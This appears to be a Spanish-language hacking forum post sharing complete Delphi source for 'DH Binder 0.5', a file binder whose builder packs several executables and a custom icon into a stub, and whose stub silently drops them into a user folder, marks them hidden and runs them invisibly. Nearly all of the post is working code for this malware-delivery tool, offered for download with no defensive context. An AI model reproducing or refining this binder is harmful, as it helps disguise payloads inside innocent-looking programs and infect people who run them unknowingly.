[Delphi] DH Binder 0.5

Iniciado por BigBear, 21 Mayo 2014, 23:11 PM

0 Miembros y 1 Visitante están viendo este tema.

BigBear

Version final de esta binder que hice en Delphi.

Una imagen :



Un video con un ejemplo de uso :

[youtube=640,360]https://www.youtube.com/watch?v=huGWWbqJDfE[/youtube]

Los codigos :

El generador.

Código (delphi) [Seleccionar]

// DH Binder 0.5
// (C) Doddy Hackman 2014
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle

unit dh;

interface

uses
 Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
 System.Classes, Vcl.Graphics,
 Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ComCtrls, Vcl.Imaging.pngimage,
 Vcl.ExtCtrls, Vcl.StdCtrls, Vcl.Menus, MadRes;

type
 TForm1 = class(TForm)
   Image1: TImage;
   StatusBar1: TStatusBar;
   PageControl1: TPageControl;
   TabSheet1: TTabSheet;
   TabSheet2: TTabSheet;
   TabSheet3: TTabSheet;
   TabSheet4: TTabSheet;
   GroupBox1: TGroupBox;
   Button1: TButton;
   GroupBox2: TGroupBox;
   ListView1: TListView;
   GroupBox3: TGroupBox;
   GroupBox4: TGroupBox;
   ComboBox1: TComboBox;
   GroupBox5: TGroupBox;
   CheckBox1: TCheckBox;
   GroupBox6: TGroupBox;
   GroupBox7: TGroupBox;
   Image2: TImage;
   GroupBox8: TGroupBox;
   Button2: TButton;
   GroupBox9: TGroupBox;
   Image3: TImage;
   Memo1: TMemo;
   PopupMenu1: TPopupMenu;
   AddFile1: TMenuItem;
   CleanList1: TMenuItem;
   OpenDialog1: TOpenDialog;
   OpenDialog2: TOpenDialog;
   Edit1: TEdit;
   procedure CleanList1Click(Sender: TObject);
   procedure AddFile1Click(Sender: TObject);
   procedure Button2Click(Sender: TObject);
   procedure FormCreate(Sender: TObject);
   procedure Button1Click(Sender: TObject);
 private
   { Private declarations }
 public
   { Public declarations }
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}
// Functions

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
 num: integer;
 aca: string;
 cantidad: integer;

begin

 num := 0;
 Result := '';
 aca := '';
 cantidad := 0;

 if (opcion = 'encode') then
 begin
   cantidad := length(texto);
   for num := 1 to cantidad do
   begin
     aca := IntToHex(ord(texto[num]), 2);
     Result := Result + aca;
   end;
 end;

 if (opcion = 'decode') then
 begin
   cantidad := length(texto);
   for num := 1 to cantidad div 2 do
   begin
     aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
     Result := Result + aca;
   end;
 end;

end;

//

procedure TForm1.AddFile1Click(Sender: TObject);
var
 op: String;
begin

 if OpenDialog1.Execute then
 begin

   op := InputBox('Add File', 'Execute Hide ?', 'Yes');

   with ListView1.Items.Add do
   begin
     Caption := ExtractFileName(OpenDialog1.FileName);
     if (op = 'Yes') then
     begin
       SubItems.Add(OpenDialog1.FileName);
       SubItems.Add('Hide');
     end
     else
     begin
       SubItems.Add(OpenDialog1.FileName);
       SubItems.Add('Normal');
     end;
   end;

 end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
 i: integer;
 nombre: string;
 ruta: string;
 tipo: string;
 savein: string;
 opcionocultar: string;
 lineafinal: string;
 uno: DWORD;
 tam: DWORD;
 dos: DWORD;
 tres: DWORD;
 todo: Pointer;
 change: DWORD;
 valor: string;
 stubgenerado: string;

begin

 if (ListView1.Items.Count = 0) or (ListView1.Items.Count = 1) then
 begin
   ShowMessage('You have to choose two or more files');
 end
 else
 begin
   stubgenerado := 'done.exe';

   if (CheckBox1.Checked = True) then
   begin
     opcionocultar := '1';
   end
   else
   begin
     opcionocultar := '0';
   end;

   if (ComboBox1.Items[ComboBox1.ItemIndex] = '') then
   begin
     savein := 'USERPROFILE';
   end
   else
   begin
     savein := ComboBox1.Items[ComboBox1.ItemIndex];
   end;

   DeleteFile(stubgenerado);
   CopyFile(PChar(ExtractFilePath(Application.ExeName) + '/' +
     'Data/stub.exe'), PChar(ExtractFilePath(Application.ExeName) + '/' +
     stubgenerado), True);

   uno := BeginUpdateResource(PChar(ExtractFilePath(Application.ExeName) + '/'
     + stubgenerado), True);

   for i := 0 to ListView1.Items.Count - 1 do
   begin

     nombre := ListView1.Items[i].Caption;
     ruta := ListView1.Items[i].SubItems[0];
     tipo := ListView1.Items[i].SubItems[1];

     lineafinal := '[nombre]' + nombre + '[nombre][tipo]' + tipo +
       '[tipo][dir]' + savein + '[dir][hide]' + opcionocultar + '[hide]';
     lineafinal := '[63686175]' + dhencode(UpperCase(lineafinal), 'encode') +
       '[63686175]';

     dos := CreateFile(PChar(ruta), GENERIC_READ, FILE_SHARE_READ, nil,
       OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
     tam := GetFileSize(dos, nil);
     GetMem(todo, tam);
     ReadFile(dos, todo^, tam, tres, nil);
     CloseHandle(dos);
     UpdateResource(uno, RT_RCDATA, PChar(lineafinal),
       MAKEWord(LANG_NEUTRAL, SUBLANG_NEUTRAL), todo, tam);

   end;

   EndUpdateResource(uno, False);

   if not(Edit1.Text = '') then
   begin
     try
       begin
         change := BeginUpdateResourceW
           (PWideChar(wideString(ExtractFilePath(Application.ExeName) + '/' +
           stubgenerado)), False);
         LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
           PWideChar(wideString(Edit1.Text)));
         EndUpdateResourceW(change, False);
         StatusBar1.Panels[0].Text := '[+] Done ';
         Form1.StatusBar1.Update;
       end;
     except
       begin
         StatusBar1.Panels[0].Text := '[-] Error';
         Form1.StatusBar1.Update;
       end;
     end;
   end
   else
   begin
     StatusBar1.Panels[0].Text := '[+] Done ';
     Form1.StatusBar1.Update;
   end;
 end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
 if OpenDialog2.Execute then
 begin
   Image2.Picture.LoadFromFile(OpenDialog2.FileName);
   Edit1.Text := OpenDialog2.FileName;
 end;
end;

procedure TForm1.CleanList1Click(Sender: TObject);
begin
 ListView1.Items.Clear;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 OpenDialog1.InitialDir := GetCurrentDir;
 OpenDialog2.InitialDir := GetCurrentDir;
 OpenDialog2.Filter := 'Icons|*.ico|';
end;

end.

// The End ?


El stub.

Código (delphi) [Seleccionar]

// DH Binder 0.5
// (C) Doddy Hackman 2014
// Credits :
// Joiner Based in : "Ex Binder v0.1" by TM
// Icon Changer based in : "IconChanger" By Chokstyle
// Thanks to TM & Chokstyle

program stub;

uses
 Windows,
 SysUtils,
 ShellApi;

// Functions

function regex(text: String; deaca: String; hastaaca: String): String;
begin
 Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
 SetLength(text, AnsiPos(hastaaca, text) - 1);
 Result := text;
end;

function dhencode(texto, opcion: string): string;
// Thanks to Taqyon
// Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
var
 num: integer;
 aca: string;
 cantidad: integer;

begin

 num := 0;
 Result := '';
 aca := '';
 cantidad := 0;

 if (opcion = 'encode') then
 begin
   cantidad := Length(texto);
   for num := 1 to cantidad do
   begin
     aca := IntToHex(ord(texto[num]), 2);
     Result := Result + aca;
   end;
 end;

 if (opcion = 'decode') then
 begin
   cantidad := Length(texto);
   for num := 1 to cantidad div 2 do
   begin
     aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
     Result := Result + aca;
   end;
 end;

end;

//

// Start the game

function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL; stdcall;
var
 data: DWORD;
 uno: DWORD;
 dos: DWORD;
 cinco2: string;
 nombre: string;
 tipodecarga: string;
 ruta: string;
 ocultar: string;

begin

 Result := True;

 cinco2 := cinco;
 cinco2 := regex(cinco2, '[63686175]', '[63686175]');
 cinco2 := dhencode(cinco2, 'decode');
 cinco2 := LowerCase(cinco2);

 nombre := regex(cinco2, '[nombre]', '[nombre]');
 tipodecarga := regex(cinco2, '[tipo]', '[tipo]');
 ruta := GetEnvironmentVariable(regex(cinco2, '[dir]', '[dir]')) + '/';
 ocultar := regex(cinco2, '[hide]', '[hide]');

 data := FindResource(0, cinco, cuatro);

 uno := CreateFile(PChar(ruta + nombre), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
   CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
 WriteFile(uno, LockResource(LoadResource(0, data))^, SizeOfResource(0, data),
   dos, nil);

 CloseHandle(uno);

 if (ocultar = '1') then
 begin
   SetFileAttributes(PChar(ruta + nombre), FILE_ATTRIBUTE_HIDDEN);
 end;

 if (tipodecarga = 'normal') then
 begin
   ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_SHOWNORMAL);
 end
 else
 begin
   ShellExecute(0, 'open', PChar(ruta + nombre), nil, nil, SW_HIDE);
 end;

end;

begin

 EnumResourceNames(0, RT_RCDATA, @start, 0);

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.